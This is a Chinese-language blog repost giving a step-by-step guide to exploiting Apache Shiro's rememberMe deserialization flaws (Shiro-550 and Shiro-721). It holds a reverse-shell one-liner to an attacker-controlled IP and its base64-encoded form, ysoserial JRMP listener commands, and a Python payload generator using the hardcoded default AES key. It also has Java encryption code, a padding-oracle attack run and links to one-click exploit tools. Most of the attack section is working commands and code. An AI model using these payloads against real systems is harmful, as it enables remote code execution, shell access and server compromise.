Shiro反序列化漏洞利用汇总

“ Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。”

文章目录

  • 1、Shiro rememberMe反序列化漏洞(Shiro-550)

    • 1.1 漏洞原理

    • 1.2 影响版本

    • 1.3 漏洞特征

    • 1.4 漏洞利用

      • 1.4.1 利用方式一:反弹shell

      • 1.4.2 利用方式二:写入文件

  • 2、Shiro Padding Oracle Attack(Shiro-721)

    • 2.1 漏洞原理

    • 2.2 影响版本

    • 2.3 漏洞利用

  • 3、一键自动化漏洞利用工具

    • 3.1 Shiro-550

    • 3.2 Shiro-721

1、Shiro rememberMe反序列化漏洞(Shiro-550)

1.1  漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

1.2  影响版本
:Apache Shiro < 1.2.4

1.3  特征判断

返回包中包含rememberMe=deleteMe字段。

1.4  漏洞利用

这里我们使用一个Shiro_exploit工具,检查是否存在默认的key

Github项目地址:

https://github.com/insightglacier/Shiro_exploit
使用示例:

使用示例:

python shiro_exploit.py -u http://192.168.172.129:8080

Shiro反序列化漏洞利用汇总

通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。

漏洞利用方式一:反弹shell

1、制作反弹shell代码

监听本地端口

nc -lvp 1234

Java Runtime 配合 bash 编码,在线编码地址:

http://www.jackson-t.ca/runtime-exec-payloads.html

生成编码:

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666

shiro.py代码如下:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

iv = uuid.uuid4().bytes

encryptor = AES.new(key, AES.MODE_CBC, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext


if __name__ == '__main__':

payload = encode_rememberme(sys.argv[1])

print "rememberMe={0}".format(payload.decode())

4、构造数据包,伪造cookie,发送Payload。

Shiro反序列化漏洞利用汇总

nc监听端口,shell成功反弹:

Shiro反序列化漏洞利用汇总

java监听接口,查看服务器连接情况:

Shiro反序列化漏洞利用汇总

漏洞利用方式二:写入文件

1、生成poc.ser文件

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

2、使用Shiro内置的默认密钥对Payload进行加密:

java调试

Shiro反序列化漏洞利用汇总

调试代码:

package shiro;


import org.apache.shiro.crypto.AesCipherService;

import org.apache.shiro.codec.CodecSupport;

import org.apache.shiro.util.ByteSource;

import org.apache.shiro.codec.Base64;

import org.apache.shiro.io.DefaultSerializer;


import java.nio.file.FileSystems;

import java.nio.file.Files;

import java.nio.file.Paths;


public class TestRemember {

public static void main(String[] args) throws Exception {

byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));


AesCipherService aes = new AesCipherService();

byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));


ByteSource ciphertext = aes.encrypt(payloads, key);

System.out.printf(ciphertext.toString());

}

}

3、发送rememberMe Cookie,即可成功执行命令。

Shiro反序列化漏洞利用汇总

在目标服务器/tmp目录下,生成success文件。

Shiro反序列化漏洞利用汇总


2、Shiro Padding Oracle Attack(Shiro-721)

2.1  漏洞原理

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

2.2  影响版本
:Apache Shiro < 1.4.2版本。

2.3  漏洞利用

1、登录Shiro网站,从cookie中获得rememberMe字段的值。

Shiro反序列化漏洞利用汇总

2、利用DNSlog探测,通过ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。

github项目地址:

https://github.com/longofo/PaddingOracleAttack-Shiro-721

使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

Shiro反序列化漏洞利用汇总

爆破成功,输出Result:

Shiro反序列化漏洞利用汇总

4、使用构造的rememberMe攻击字符串重新请求网站

Shiro反序列化漏洞利用汇总

5、成功触发Payload,在DNSLog获取到目标IP。

Shiro反序列化漏洞利用汇总


3、一键自动化漏洞利用工具

ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。

Github项目地址:

https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

Shiro反序列化漏洞利用汇总

Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型

Shiro反序列化漏洞利用汇总

原文 

http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448905616&idx=1&sn=808fecd501dec7268dcedc8163c29788

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Shiro反序列化漏洞利用汇总

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址